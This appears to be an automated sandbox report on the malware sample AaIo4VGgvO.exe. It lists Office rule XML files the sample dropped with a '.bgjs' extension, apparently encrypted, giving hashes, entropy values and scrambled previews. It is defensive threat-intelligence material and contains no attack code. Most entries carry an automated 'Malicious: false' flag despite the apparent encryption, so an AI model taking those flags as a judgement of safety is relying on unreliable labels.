Preview:	<?xmlhy..j......X.}....~...}.4Nb..#....V8..k"..{6r7Ub......Jg..9].r...g:..z....7......k..X...<..gD..M.O........vD..i....y...]......\...S.`.'.Z..J.3....s.V.KI.@CI...\.m...........6.C....S.(.L.oP.E.a..,G7.L..S..~..w.......5....Jz.z.A.........G..#./n...1U.?.g-..ZO....q......1.~Cm..j..&...6.^......F..t;.3f6...._L5.BC...\|..wcp..8...../....hJ.{c......O.Y...#...'.k..:..^A......2...m...4....p1.t6.)2...d.h.P..(..G...<...uk#6.RX.r.s.x.^..!upy.~..Qi..V.....Q..k.`!1G' .]...mkYD...$.r~..oD..?^..l.\|..8..u@..EA....L...0......nD..x6..z....({3r...+.T....?.,^+I..U?.#{..h@sz.....~.x<22....R..!b...H.4..Zd.-.Up..#..d.5.._..'....q..Z....F....K......].4.%X.....l....XOSsb...>..fk@.v.... .xNb.L.Rb.....>.hQ8Mz...vp.8.....S....Q..w...0...M.0....3...@.1.eCqp.\|;..:aJp>......~W.........>.P.mw....1.\#."r.....r..fv_._.....\|.4nb..........1.....".&l...2)j..fx.;Rt..>..D7F...nSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.9025334106158
Encrypted:	false
SSDEEP:	48:fvl0nV//O0+Pzmi2w9h5Jc9/BmZFprzSqOe9IWF2Ghz2i7V+54m9HnAsD:XUVnOn7L2AvJ2OFprWTYw3i7V+54mH9
MD5:	1C8D22C29830FB3800D3992528039D61
SHA1:	4E57C30183885E56BF353D11B6F0E87BB5F0142B
SHA-256:	E9EBCF93166D8C2909C253C19CBBF7E703CB7A8E7FAAEDAD50715AB3027ED429
SHA-512:	61C49B96F92810C4F6BB7D8A154DA6626DE3C36B4401E1F5D75BF81867BADF453128C72E360D9E8FF3F4CCE8011E36B7098E447E3E810CA2745A67FD3747C172
Malicious:	false
Preview:	<?xml2.............Oz...=...Ry.....=.L7..4....H..3.a....q..%H.. ..@.gInZqO...s@.....u..&4P.....bCs9G5..q..G&..I^>9..i.-..?...=....\|O.....y%K.w...v..........W.'..t......:}l..>..o..........%>.>..\..=.55Lc....IFIr..$..u.....{..g.....FF..A.$g.u....7.#m[c.......9..7)...2F..C'.....E..0..:.'..\...@...9.wC..#..............}{...6U-..E'....o..Q.....]s..{..\|.....{.KLwP."..;M..+......../.d.....>K.v...6..Q.G.....a\.j.'......$O.9...E....aj...!..i.@.M.....B..Z.'3;.K.U.k......I=a1....%BE.Q...:....@....e.)..w.....yF........=n..4{........ji..W.~`u.....J..D.n.d..nH<.s.{.$>...q.r..}.Y.yaa.q.>..C.?...T&........0...}Y(....$YY.$f..$...$.vH(.....".F.....I.}...-8.....^.)..2..F.bZ.da".@... .vT:3..3.<......v..L....{..#..f>....L..?...7......?....P.M.^%.H..8I..8.b..!=......&..\|LyK....-.-..........'o..y.......#....9H.W{..'v.....%.#iV.yQI.P..q.3.k.>X.F..%.....9..`..M../QKL8`..a5.....(...@...i........n.z...+........_..^.E8..T{.ZhKb@..<....~..n.....Y.=tKG...d..".Vv..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.8845928426445795
Encrypted:	false
SSDEEP:	24:IUOFdyk8diJ75ZGK5W4t6KZBYts/HSgiXpfbEbT0050n9iNF+Hd103BeObD:Nklr9DEXpfbE3n60N5xesD
MD5:	F14478089F3271D624C22C4C7B616E1E
SHA1:	56ACADF2E6E35DD9EF9EADA446FEBE88127AD95D
SHA-256:	80CC5A37459E0EBA825F41EE0340653FDCC5E84AE416B8A30FCD15FBA74FD8BC
SHA-512:	6FDDD6CB8B60ACD80C94BD93A7B563D5A823C1BBBEBED87A82382525525DFA314B107E635646930F66BEDE0EB488B54B9400AF9DC53697C6B4DC0262FD81CFDD
Malicious:	false
Preview:	<?xml.!.\b..{..........\|..!LE.L..PV...H.B..J..._..K.t ....B... ....W....]..}.$Q..W..o.$c..u6H....M..G..{...$4n...5`..+n.;u....U.....=...\|-j4.P.RQ..2..E@.AH...]....}.Y".N.c0s+..<..u}h.<s[.4k..;.......z5mC.T.R.._.....3k..u..vg.Q......6....m,..M...(.h..B...n.(.c..p.!]........."!....D.rb.>.s-.#Q$..../...a...c...!-d.1.@7...$\.cmpVmWx......_..JF.\L!..!,..Xhr$....xlc&1.D.-..;.n.7..D...bLs.(...3Mv..t.h./....&k.'J....6.?...U......MV..E.G..../.Q..9H........M...p..[#...e.y.`Bu`VE..{T.......K{\>.:......HI.B.:!..iq.......9..UoT........tT.e.I.z....[..E.:..F.=.bU..o..!fC.-vb^.1M@.p..J....0..i...=).`.I.......C.y-G4.c...h...WB,.q...ia/E.\3...z.T...U.gl.VBk..nv..&.SM$.......@..l.9......$.XXTB......V. j....,.+N..B..7g..Ik.3....3...X...tO0.r..NC...!,:.DP.x.....I......'..W@....?3.:......B...ff...(.7..a....!6<A.pj:....ijp........f....`oBy....A.Wm...v..@Gg.DCh.V^.>rIn..)Of7.}3E`.-....m.nV.5'......JK...kv.{.5..ZZ.F.!.;....{..G.....T.;\..`i.K.z.......C.....z:...\|r...J.+.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.73016829645142
Encrypted:	false
SSDEEP:	12:chU2HYU1syveWo/jaXZ5Z/dbBJ4f/nB8bDPNC6Pdz/dPDqzqOFpGyiX7TqS0OWdr:+4ssyLTdBCf/nBKxdTFOPzOTDQFpbD
MD5:	3E084D849738DDF425152548B66B98CE
SHA1:	E0CFE6863483BC998D8B9336AAEE293FC1DF3497
SHA-256:	48AFD826F3E054843322F9E5DA4D045D99830609E989B0CA3F92712C68AB8C6F
SHA-512:	3570CBC63C285B93AB69CC7434B6990E8A53CFE4E1FBCAB1F2016B1EC41822F250C732794CEB6CFB07900D32CCBC097B99BCB5C7CAAE12E5F032928359DECC95
Malicious:	false
Preview:	<?xml!i...+.#.v.W....c8...HEXZf.,FbC."V.gg..#.\|c..0x.8.dG.x.../...^ ......g)\...S...A..".\|...eB....b.~w.B>.GnJ....Z.zn..y...s..gbq#j.G^...+.9..Y......J....$...q..0..@..id....V..4.%..[dR`..JM.L.. ..e....]...6...Q^..AXg.?.=\|Y.Sea...l..H8Iw4.Q.'..q./U>.b...x..@.\|.....X.Y..<b'.F.x..=L.Uj.2..6h.V..a..\|.......Xs..o..3...P.U.......L.P.7.)].....&I...../m......h,....t..]X..l...^...0>..Px\.m...._%J..Yvn..d.r..5.[.Y..&P...I@`...q....?..$...2hS......p...#.....%..o. .#v...4.....~....)....r...D..........>.)3._h...k..^7R.... .[~...'tE3m<>.3..-'..?/3..Z@....5.E#.U..~x....9j.].......` .{.g..g.Gr.n.%..c...D....Xa...LQ.9...H .L..S #..@...ECg).....1...-....?...N.t..I...6.........'.....#....G.-.uO.._".7J7.Ph9c.h..M.v......Hc-..!.v..E.rN.'g..s.....].9-......)..K.*..f.[.1....`f....l$B..9. ......a,.yD.?SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.778960556483109
Encrypted:	false
SSDEEP:	12:ECb4N1sO175PyMD+SnAI3BY+lDILNuO71dmnxm/TilnHqvnFz1+cii9a:DUNzFK0+SnAIxY+lkPkxmrilHqdAbD
MD5:	E72E2BB7FD07F0FFD187D9EFE320B2B6
SHA1:	05BD332A6FF6C00268A9A8A36A37423834DC55FA
SHA-256:	1B5BBC85EEF75815DC6AFAF5B59834FFDA7148CD3A13D53DD10B1DCD14CC6B5F
SHA-512:	D6CFF053FEE8699EB1957856A803D038C4C1F7114411CEFDBC91533E9064EC43D604EEF32C0F8790E1E31C1BA5FB2A995B31AA3E334D66EFDA54A336312ADE45
Malicious:	false
Preview:	<?xml..vX...j^`.b.!.....'..,@..-w.C.D...S..P.^..j..&.W#...+...I....Mu.....~...........}D.^.c..(\....$..[nh...YfB..E.......;...%....6.....'w.P..:.^.cpE#.d.c..d>....W......6.K...`.si.O.5~...B.gB;.-..CZJ."F}6.G.........._..^.<..m.Q.P....9....T.1Y..".s.V.).b..u.L...Vm..xE....Hs;...^...ma.Bp."..&......7.v..S3.../..VId.9.h..z.7iu.....0......`5w..X....SV.m.5.\_.]w....To..l.F........n..a.... eYu.;yrS...N&......j..?........\B@.G.@...7O.j.S.k.....(....".c.....;.}.Az..?.....q...x.z.)......U.x2Rh...!.....<.......=......=.v\...#(.........v%.....zb.y......sj..).*.AEmK...E.F..(c...sj..9,j....\...U6.d...t.E..jIV.=..6.;&.az.O<...rkC(k.~r.U).;.NiTq..m..=j?.f...@.....b>...a.F(..........#....l+......xo.cd.K.@z9N.8.E.$u.n..9[}Z.i...J..U.i;...0F......:p.!B.X..ZP....i.d.....Cr....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.8054511311028865
Encrypted:	false
SSDEEP:	24:a0EyLCOS29uUg7Ro89JXbYw12Rk4R+MqlHg5X26fDsCfzAbD:a0Vr9u/e/q4R+lAVraD
MD5:	739775A1B38827204C853FC603C5CE7F
SHA1:	A137D5368FFC931C0117F085710D52531A423436
SHA-256:	9B4381CA32337B446350A694B564D20D8C0534F3210AE80527187758F6F6B346
SHA-512:	1B7D01AC2B91D40F285D8AE50509289F753987979829402FB0D387FFD40F1558CE91E812DAE4D42A80F074DA6264B8B3AAA41D604A40029AA9004E2F5E2A8EF4
Malicious:	false
Preview:	<?xmlj6.U.%.=..!....ER..`3..C.....ei./........i.......f.....>0{.[....N...z..Z ..s~u....`....}J.O@.\|.....k.&y...........F..Ay..V..U..1...6....y\|.....6....pI....YfmE.'".4mR..Du..Q...,V.P!O..H\|(7...IO.b...d.....=_.6.sD..BF.5e...p._..?.t...../.<6q............j......j..^t..)..z.xq.....j....>..`.i..:....x@O...a. .oFcm.....y.....dXF\|..P...K..8.5N.>K...C'.-.....B....T.:8.A.....5..)=i.{.h~........q.....dw.Pg&....Bl...jJf......5...@....b..k. Y.....jn.b.1.P.m..........W.bqyb.'.0.6.b.dr...u.r.G...\..O....g~+...tm.G.f.E.].d.B...E.......rfl.!}...{.......9....H.1>cf....C[&8.._...%=.'.;?....-\..'...P...X.4..66P.j....b...s.~)0g...M...2.......HY..MU....{.......@...;.....T...E..*.4...O.)..7u&9.A.'.....h...b....5_3...hl..w.s.=..,../.eS......]G2C8....:`.~.V{..t..9..Yn....3aZB..=....q.pp}.Q~.\62..4....j..`......`^.......f<..@.l..k.......b:..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.654364122915845
Encrypted:	false
SSDEEP:	12:EvVShWuYn8vNek5q5D3+SqAw12de2l+VNAFGBwaFPrzT5d8P/iTC9KNQm1awz1+X:+SFYnaNehD3+Sf4pc+/DCaFD56/6CI5m
MD5:	A616478B7656518D2E424F4259B0839E
SHA1:	F6ADA689DFC53AD62406A4EE43195CB63BD64E12
SHA-256:	3667CFC785DA161C870618BA044BF38B9628683FA31671CAE841B4646DF53483
SHA-512:	0498E7B57D2F44D825E9811B23CB44A5F0B7F864F07C557B0A0EEAA3BAE1525C3279BD0086B9E2AAE39379AEF355C6AD18420884CC5A053C296043E5C72CF419
Malicious:	false
Preview:	<?xml9O.l...m..Z.{......X.;H.P.X'.....c.....\#bH.".....d.A...\zf.e.QL.....{6.@.v.......P..w.._.!5v0...B...5F.". ..Z..p.n..Qwf.u...sZ.......,..5d7.,.M.....>..t.U.\..c.q.p &.F.N...b..\..z<^)M.R.t.....{t.Ly.y:.,L.;.>/.Hjx....1S....K.U....j.J..M?...vf..c..F..J\|...Q..`A..l.3.u.R......Z.F.....i.X....;.R.U.Pz.o#.D..B.A.6....N.......s8....}...%<h...o}..VE.n.1. .$...%.F.1..@QT...w...eq.08..4...8).^.Q....L.2.\F;p.......J..q...>P...]U.../{8G..qT.,..D.(.. ....loO.^.R....Z...F.W=..*a.G......U...."...;..^.Y..T.Uq).z..[..i%....5#.Q..+..._.....8..@.....jX,;.....?N3..s.b.;N.#w.5......Q...Ku...V..o....f.i.h.a"~./...o..;SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.810126162017264
Encrypted:	false
SSDEEP:	24:nNU+dhrUqJAHCA8+IEq0fQ+mi37iSymDvlmDG2D9OLbD:N5rpAHyJ0AiriSVwRD9OD
MD5:	7A143DF24089CDB6925EAA835903BEB5
SHA1:	61A0A3962C075BD06D03DF5969D8BEB16722A1C1
SHA-256:	A92F117BEFED63FFC351E5FFF0C2B0AD2686EF5EFE537B6BECACC3A33FB9EAA8
SHA-512:	C9BD99DB967834EA2A7617D81965C177D8CA7ABB7260A049DF9C839B55DD92BAA103DF4122003D01E4C2C0D2685814B764EC85E618D205A86969F90BCF629650
Malicious:	false
Preview:	<?xml,k..Q..u.=........ 3..}.\4..k...};.-....G#...........\|Q4.9..K..U\.-.b...Y.%2t.....rZ....,$..%.)..'.......}....3.......w\|.R.e...>........d.1..<..4M..W......'y..c.GKr..1."..\|..R0,_x..a...q....n..x.o.^f...}...QP..!.R...i...?M..p..k..../X....=l.61..<" ...:@".....=..d.L^....A.......2...B.....;.6.C8.f."..2/....&...iH......$H.48t..?...P....y.....a.....,E.&..]...b1e0.`9..xP...6QJ....(.V.5..wY.bS2};.:.....7,......Y.0..keX.s.m.u............r.&(\|'..4gR1...j.......q..^.{.p.r.....IE.._.+.2....\|.8:.@..U3L.e..Ot...W.............Z....]......F,...!M`8.B..~.9.;~2/.....=.mZ&....y...~.wS2..um\|....B..y&u...(Z......^...\B..a(.mc:...;.+e......>..@...f.-..}.M....'qwdQ...`..5....!.Pg...wKo.I&...3v..U.w...A....[...!:...\|.)w....7~.....J......2........{.D..j.G.4M.y5....Y.1........{1F.\|..3.^...\.,.....,..p....Q.#.O....Q.*~?...@...B5..o..p.;.....h..&j.f.....d.!...c.q.......9/..~.B.2..L.8.....6........B.0.bF.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.83600575928696
Encrypted:	false
SSDEEP:	24:e62Ncc2LgKI1oQd8DA7F66ToSXsfeof/K+EbsbD:excc2cvTp5y3fibmD
MD5:	555076154B5585AD7CA30682337462BF
SHA1:	B67CC54E3758C1931D49F4EE6DE8D4E1BB01A2FE
SHA-256:	7D29514C81A296DC964DA9877C413F6A8CB6FB15E6E0BBC5DD007CFFCB9061D0
SHA-512:	7B87CC4203D6891E92FF4D00BD7A3289610E0F125EB1607FF8604C12816975829ABE8A4DE905F8270D61B1A8632786C9051B2C272CA54F6CAD16E3FE99EB833B
Malicious:	false
Preview:	<?xml...w.-.P.'......<S..b\|8.P..H.4..gu... A.....7p.O.../]9....2...P..S...I@\|...7...3.....x..X...@Mdre....T....Kv......er..y....3..Z.....q..u,:..&.l`4.1.m>'...5.....bY.3.........YkB......cj.$.P..5...-.G.@.(..l.m.E..Z...b..P+...Y..4U.k.)1u....0Z.#.h.~xa...Z..-..6H..Y..]........6f....J.r..U.cc;........l.]..ueP.n.s......t..2..{..EHz.`..I.....#Z.4.!......l.C7.j2...b...5.yAoD.:U".<......iF....Mu . .....&...=.z.P.\L......U...U"......C..:Z......\.M..f....k..WU..$w.c...FG.<..0...fo.j........l....@K9..o...XWI.0...dj.C.._^.#.....Of...~..\..D..._..T......N...m_.."m..uI.T..v,w...VSFY.W.\|.2q..#....Qa%.+...6.Q.8..r.....)..a.E..G.${.9W..^&L.^O..0........CS....;1V},.......u.F_...b.9^.....h.3.....'.o...^'."/..m..^..;%..\.V.L..._M.....F.C....7....x......^!w...N;.?.z..'......Z..:Fq\|0g.....6gYd..<.'.rl...}......(.h&.7........)x.vu0_..(c..<..Q<...;.Ik.J....B...?..~..`y.p.....Z....\|.....r.....iG/.......CN...t(5..J..A..[...=.A.49...a10.h...iL.T..Yy.(l.>

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.888937429637385
Encrypted:	false
SSDEEP:	24:C0gCBhiX16F5xiMnbl3QNGCtOrd1EuUbriFkLHewnveuziGcYi3PwGhz1/I0tqDX:Nu1Qbl32tFfvO7uTXD
MD5:	4A697581B6AB20F93ED8D0FD5A927FF5
SHA1:	4BC21A6B346D86F9F1E209C5D2ED4AF41E0D65A6
SHA-256:	B74C099986C6AFD42D4601674C21AFDFACDE40FA94A634D72F447CD0D6568C1E
SHA-512:	3181979D04DED768E94A422352287ACB411A8F1AB72EBF19FF927E6C0895C05485FD467545C535E20F3E0BD126B9F9BBB2802FB31EA7EF4BB9C69838D6D73081
Malicious:	false
Preview:	<?xml..:P..T.p_._.n.@......E..3(..d.`i.Rk.>..S%p...(.a.KM...y.6.....vq.nz.m(.........w}Oi.uBb.@8$Ap.1F........q.)...V.........4.j...)h.....??......\|..@.E1)..4?....L.Y...A..o..+...Q.P..f.F......v.......^....Y....D.F.;.XR..{..f..LF.1yC:.Xk.n.am.k..}.........?"C..]]..5..K...^!\..P[.D...N.k. .....Mym.a@7M!8....q..9I..v).I.Z..X(....^.:..x.b...t....~......)T..m......a.FR.7.P....qN$.i......F..KL.ZB......L..;p.XA.%..5e,C.e.......\|....@.......AI:.!>.r.:....S..b......=v@..q.^..u.$......7R....Q...f.0..mbs^"...3...$/.m6?Z._.):.n........Y..}M.5.4.5\PX.?.......&z....[........k.....? ..L.....4...W.s..'!`.?j..J..x..(.q....y.............=+...p..y..m9...4...f...=.@.-.+M~........>Q7...F...G.W\|..=.#.x.c..v....["..].f.9.[...]\|....0....u.b. .....pu......L.\.e... .....#E[....>.Kj.WP.KP/L.'ke.W..U.c."rmBj.o.9.w..W..=...iumN[......$.5..s)g..bO...uv2FJ......K.\...../q.....}T.9h]...!.z...sG.c..+....1[U'..*H......k...fN.v..X.`.v.aE.>."....R$-L......7.]....4.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.780615304699555
Encrypted:	false
SSDEEP:	24:kzfSfgQbWY0gQ7uV8be3aVG4bYS08L9VewOQBQl/0dLDbD:kzYvuuObDVG4bYLevnQ9IXD
MD5:	DA799A13245F34FEDED6E480CF340DE2
SHA1:	B580D1BF560D7AE79B10D2BE5A898FDBEF223539
SHA-256:	F16E2C77EE1C8CDFB708FEAF092B7CF6FC097051CC941304DB4CFEF495A5EE90
SHA-512:	DD748258ECA6071424F10304BDD40C7D04337382A7EF12515EEDFA1F664A241D89EC785071ADF74EDBC29115AA532FC88C703C4FB78CB3AB6A9EC847B6633086
Malicious:	false
Preview:	<?xmloG.P........4).......c3.n..<..v..c.G.#Y..dZ.r..#.?.A<5zw+..:_.X.T7........3X.:.n...~....-.U....0..^.20$bW.H..s5p......k.9.c...+...7.7./..`..n..\...&.T....y...~.....:........U.w.R...;.B.<Y...9....L..J.\..T.\{.y.I.....`.......5......{..../;.v....?........0..P....%..x[<........iA._"..'6./.A.#..........:..u.G.........}..,H...K.asc......5.......s.y.....W=.l....v....r7..>.....9...fz...t...S2...8.\.N....~.8BF.s....,..3....aV......c.."j..S .0.c7...L.$.b.N.s7.e:...l/#[0Q...O&.q......C.!...3.5.}.&l].r'....K.......2t..j........C8]..kx...;b.....-..\l..J...DV..b...]..%_3...L..W?.p..!.1.o..!...aT.}W5\J..pW0aU.. r._......=G...r.J.t...Q}........W&.<x.Ev.z.....f.j[.Y.....}N..[...]q.y.:e0.^N."B.4Y.....U."qY`.p..EX......L......#..I.G........\|7]u..H.+]........O...4>"Z..sZ...*....."2..b.....tlM..V....t./.......9z.%.r_...s'.x@...U..m#.#NR..i...i.b....M..=...c..C->.]"OU...n.M..4.s7$..y.]..~.O.?[t....>+.Br.P.Li....p'SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{3

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628063265247585
Encrypted:	false
SSDEEP:	3072:203znzPP9hcS7v0C8cTeH2TLaSFdmq5VCPvl8ezvSz7+MaJkyuMGGGn:5XnnLgC8X4ObvSzraJTvOn
MD5:	D5D169D3E7E407BD6898F7F3714F2018
SHA1:	8AB0276C7E04E7A84F1809D9AB4E01BF76B87152
SHA-256:	D23B2266855950A3D44A098AADE3660A4AAD087BF2A0706695B06D9A967AE4FC
SHA-512:	884A1E008FE460643F3B00EAFFC8E5B03967B0388DF1BB5129BFEF954987659F863B4BDC3B80F33FA5ED13500D9AB36D956BAAFF974D3F7FA735EFE55F430C46
Malicious:	false
Preview:	<Ruley....6r..IR.]....n...t..3(-....p....0OiE.[.$...\|r_..,.}.{Ok.....3.G.;^]c.^i...H.G..w;...w...V.)V..7.u.[-.....#E3...!..n.1m...nTF'.^..0"...i2o`......v.6... .Q.Z........K..t..9....j<7.\.."?.\......,'.......e.".H.@....L.Z.a.n....%.q{._.Z`lU..M.lj..4^.j.v...h.&Po.......>zS.F..2..s_.w.1...".......L..._.t.....ZUF..?c.....vG....6.Y..9.........].......7.......{q...[.+q .~G]'%...F.....y...).7..\K}._g...g.n.FR.A....m..f.{.....u.7..aF.OWm.w..hR...~Z,Ymx.3M..K...._..kpG.E.H...],.).8..j.5.(..S.>_^FC..E..u...f"......O...6..".fV.z5_.>y2.^....W....P..I5...&...?K..nRo.>2]......O...3...S.v.@Us......e...f...iH...Ja....\..5.r.....\s{...{..:........{.4).&.P....yO.C..rg..;.L..P...=.E...'s.....n..=)..'.y.o....}......@.Cm.O.n="V...2........kQ..p1?..ls..>...T\......:..../5...1..F..@.f..y.....A&F..>.".m........pO7..R......1.q...8M..N\|'.)s........&,....@..j...~9{..w5...xt.:..}..._.[:.2u7....b=...@jB.Hpyc..".....vK...]n........2..e...S...\.........c.;d.Z..

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.5150199324590785
Encrypted:	false
SSDEEP:	3072:7TK8UKmyMvUC8YS70L/y0RX4v05rbVPuoFOu15Rf/zY8FahfG:jVRC83ozUv0RQCOu13ffFahO
MD5:	223E67475E6F7EB7E2C67DB4C1E21111
SHA1:	BD4983AD14AF7C978494AFC43BD435BAD1372CCE
SHA-256:	4538DCB8C603215E4E1FF61C9137B16543373CAA466BEE3A1E7DE4AEF1CCA10B
SHA-512:	FDA085F1916627EBBD6460EA389BE5653A74D729BE660E1A5D74F8DDD66C89CEFD5DB10838498836971EE191ED0D34ED853335F2AEAC54AE6C989EC66F6B3DCD
Malicious:	false
Preview:	<Rule.l.H.+...H.G6U.b...{LU..Xj.q.Q..>..&G~t8!$.o..M.LlQ....c../.\a(.2j.}F..'....s.r~..O..{..J.3..LZ.,v8...W....lnSG..T...j.8......}.&.<M}.86....s(....1..&.K.n0..........u..J..o..<...3w.PT ..\|.0......<h.P.....2.e..A...0Wm[OX.....p....}.K.K...1f..N..M.:V...d.....K......2..t.V..O..jXB2...>\|...N>.......P.5.....)...._......B.;.q].F.V.).?:....l..27q.M]L~vl./.t..?.:...R....i.....3m...i'.cG..?.n.......Gn9.....7\.<..l.6.1.............71....XB.^=.].8.9....k.DT........J.s2gd./ ...v....K@...Q.f..X?b..jc.r...3z....!6.@...9l.... ..%..>+F/!.,yE..f.e....W..9U.&.......Un4....D.c.h.]Z!..f..JB..b....".....m(I~..<5....@.......(.{.O0.?....o.....m.e.......!./..%......vg{.Q.e]..,....![..c...o.....{...i.~......{}jd`.Z..3A\.Y..`.=...`..........$......H.....b.jU.z....n...x....I.TRX...B.....}.#.0,o..?....Jlb=.zf...7..O..s...Yi..t.s...wpe..,.u.....r.I..k.i3.....k*).@..X.3.=.c..{.\|......8(@.m..:.!b.....b.3}.....K.J..4.W...#.w.^$......Y./~j.I~.T..\2......C.

C:\Users\user\Local Settings\Microsoft\Office\16.0\officesetup.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.51466247433824
Encrypted:	false
SSDEEP:	6144:ooONk1t38eZS/INM0SCMb9/SPo6HPjN6JGt8T:oo2kz8wSRnQPFPpbaT
MD5:	58FF9A818F98A8CFC55357E95F70F2FD
SHA1:	6FB3338391B52929E2C83541A3F633E88D0A2ABE
SHA-256:	6B2653010CB8F0A95C0853CA4B9055A824C8993A54B8B79A55C505770FE07F5F
SHA-512:	A003E2D3948B0B9D93235DA9B3D3002F7D2A5EA9673A4B1D8322AA3276682416F64DC2927B74C80BCD25E3C02B31145CA6DC3A1413698B687C97343F87CAA9BA
Malicious:	false
Preview:	<Rule...S......T.....K......R...(1.._....4..<[...@.K...<.V'[....g..a68{..W28.Ko....0.M.H#.......j..k.......B..H...].........n.......6U.&..-.4......).$....{...qCP....Ap.VDulkHc...6U4.....$MG..D..v.f.D..{+\|...k..y.=.....?..y.m....\w4~Hy.G.G.7..`..W.A...#.s4....u.CD...{W+...g2Tm..~... e.-.B...D.w.f@.'....8..R.f..M......D..4W@W7...k.._m..K..-(.L;.z.V..S+.AF..?<...m.MS...z..s...Q...:.].N.P.......,).\.]k.g....Y..j.....\|Q!..V@...pe}............U..A....qi.B...}rz'T+...).l{.3b.,>.q8q-L.Nx..$...e..D"..T....-.8..r.OJ....q...8 ...a..Q.f....G...../......F..............(...a_U..).3Y.d..8Q{.........@'B....Y.<]..............M.T.c.....@...#A.".2B.,~x.V.>..c..>.B....q).R...!..[...M{.4.wYr....Ux..#U...s.@.a..G.j&...3.`.])...7...m...w..{LHP@...]..Y3..go..\|..G.A....`.%...x..i~#...?t.N..(.].>....?......s.~.M..D.\..p..RS.=..."Q-.E....x...NJ6.W.......*CC!?...+.r{........j.$....uO..y...[Sdp.]A..6..je...%..Lh.a.:...qdAe.h...7..2../....&...b....>..

C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998646644614788
Encrypted:	true
SSDEEP:	3072:0g6OhzYOsXQG6lfaPM6D9A3hNr5XmSxbnkLBNNc/W7:0gyOiQqMYALroinkFuo
MD5:	D4DB80D27433C38483C3EFD8910A8255
SHA1:	B0ABF78321C192E444016ADA46249296E4ACE5DC
SHA-256:	A965486F6456BD5D316EB0BBDCEE61B53D7A8F6F6B2FE3B3F6E6052F1063C59C
SHA-512:	C340258027AA35D643D8BF79F33DD7CB6C314A6BCA7846B044F37D9EDEF467B46A213BA57754BDCA347A3836A7D4676158E5C791514BACE1C9905392D27DC358
Malicious:	true
